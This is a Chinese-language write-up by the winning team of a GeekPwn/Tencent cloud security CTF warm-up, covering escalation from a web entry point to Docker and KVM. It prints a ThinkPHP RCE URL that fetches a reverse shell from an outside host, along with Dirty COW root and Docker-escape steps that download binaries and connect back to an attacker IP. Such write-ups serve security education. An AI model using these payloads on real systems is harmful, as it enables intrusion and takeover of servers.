前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >干货 | 云安全挑战赛线上热身赛冠军战队解题分享

干货 | 云安全挑战赛线上热身赛冠军战队解题分享

作者头像
云鼎实验室
发布2019-06-13 10:10:20
7020
发布2019-06-13 10:10:20
举报

GeekPwn 与腾讯安全联合发起的“云安全挑战赛”线上热身赛已经落下帷幕。

经过 48 小时的比拼,Redbud025 战队以最快时间提交了最多正确答案,荣获第一名。本期,我们也邀请到这支来自清华大学网络与信息安全实验室的 Redbud025 战队,为大家还原解题过程。

这次是首个基于真实云平台的云安全挑战赛,整个题目是提权和逃逸的不断尝试,总共有七个题目。

比赛环境覆盖 APP, Docker, KVM 和 Pysical 各个层次,七个题目如下:

题目要求:

除测试题外,选手置身于一个模拟的云环境中,选手的任务就是从这个仅有的 Web 接口,层层渗透,获得更高的权限,用于读取指定的 flag 文件。

1、Web 网页测试题目

首先 Web 入口的题目的地址是→

代码语言:javascript
复制
http://user0022:dcc16fc2@121.12.172.119:30022/public/index.php

打开后有个 base64 字符串,解码即可得到 flag。

2、APP 题目

题目信息

小明选了学校的 Web 开发课程,学习了世界上最好的语言,女朋友想送他一本书作为生日礼物,她觉得《Thinking In PHP》不错,可惜有点贵。选手的任务是帮小明女朋友找到存放在 /tmp/flag.lev2.txt 中的优惠码。

可以知道题目地址是个 thinkphp 框架;直接 google 查找 thinkphp 漏洞,发现

https://learnku.com/articles/21227 的漏洞可以成功利用,利用方式如下:

代码语言:javascript
复制
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]= 需要执行的命令

通过这个漏洞反弹 shell,EXP 如下:

代码语言:javascript
复制
http://121.12.172.119:30022//?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl+https%3A%2F%2Fshell.now.sh%2F154.223.145.173%3A1337+%7C+sh

执行 cat /tmp/flag.lev2.txt 得到 flag:flag{PHP_is_The_best_language_^^5578}

3、Docker 提权题目

题目信息

小明又选了一门《操作系统设计与原理》的课程,但是小明有个问题一直很疑惑,他区分不出特权用户和普通用户,选手能帮小明演示一下特权用户吗,例如帮小明读取一下存在 /root/flag.lev3.txt 中的课后作业答案。

直接使用上面一步反弹 shell 是无法读取 /root/flag.lev3.txt,因为权限不够。通过 whoami 可以看到是 centos 用户,这个环节是需要提权。在服务器 /tmp 目录下下载 linux-exploit-suggester.sh,通过执行得到如下信息:

代码语言:javascript
复制
sh ./linux-exploit-suggester.sh …….[+] [CVE-2017-16995] eBPF_verifier[+] [CVE-2016-5195] dirtycow[+] [CVE-2016-5195] dirtycow 2

服务器存在脏牛漏洞,使用 

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 POC。

下载 cowroot.c,在自己的服务器编译:

代码语言:javascript
复制
gcc cowroot.c -o cowroot -pthread

然后在 反弹shell 中下载:

代码语言:javascript
复制
curl -O http://154.223.145.173:8080/cowroot

运行得到 root 的 shell,从而可以顺利读取 /root/flag.lev3.txt 文件得到 flag:flag{root_in_the_docker^^1256}

4、Docker 逃逸题目

题目信息

小明同学在获得了 root 权限之后,他认为自己获得了至高无上的权限,非常开心的在 Linux 的世界中畅游,直到他发现 /root/message 文件中写着这个世界的秘密。意识到自己只是在容器中游玩,小明非常想让选手帮他看一下外面的风景,例如帮小明读取一下存在容器外部 /tmp/flag.lev4.txt 中的秘密。

读取 /root.message,其实没什么用就是告诉你:你在 Docker 里面,外面是 KVM 虚拟环境,需要选手逃逸 Docker。

没想到这题也是可以继续用脏牛 POC,https://github.com/scumjr/dirtycow-vdso,即利用 dirtycow 内核漏洞修改 vdso,对内核宿主机进程进行 hook,造成 docker 逃逸。

在自己的服务器编译好,然后在目标机器执行:

代码语言:javascript
复制
curl http:// 你的服务器 IP/0xdeadbeef -o 0xdeadbeefchmod +x 0xdeadbeef./0xdeadbeef 你的服务器 IP: 端口

逃逸之后读取 /tmp/flag.lev4.txt 得到 flag:flag{jump_outsize_of_your_own^^3356}

5、KVM 提权题目

题目信息

小明同学已经被选手高超的技术所折服了,决定好好学习,励志从事信息安全行业,但是这时候交期末大作业的时候到了,小明尝试了多次还是做不出来。小明非常想让选手帮他读取一下 /root/flag.lev5.txt 中的大作业答案。

这题本意是想考察提权,但是题目 4 的 Docker 逃逸出来的用户有 root 权限,直接可以查看 /root/flag.lev5.txt 得到 flag:flag{root_is_very_powerfull^^4987}

题目 6 和题目 7 好像没有队伍做出来,题目 7 应该是个 0day 了。

参考链接

(链接可通过复制在浏览器中打开)

https://github.com/mtalbi/vm_escape

https://david942j.blogspot.com/2018/09/write-up-tokyowesterns-ctf-2018.html

https://github.com/perfectblue/ctf-writeups/blob/master/RealWorldCTF-2018/kidvm.md

https://opensource.com/article/18/5/how-find-ip-address-linux

https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679

来自 GeekPwn 云安全挑战赛联合主办方云鼎实验室的温馨提醒:

错过线上热身赛的童鞋不用难过,采用开放模拟云计算环境的第二阶段开放赛将在7月陆续公布开放环境信息,供参赛队伍研究。

这场再度开启的云端对决,主办方将选出5-8支超强战队登上GeekPwn1024的舞台,与国内顶级云安全专家当面切磋交流。

期待你的加入,更多精彩请持续关注本公众号。

题图源自网络,如有侵权请联系删除。

➤推荐阅读

---END---

关注云鼎实验室,获取更多安全情报

↓↓↓前往官网了解更多挑战赛事

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 云鼎实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档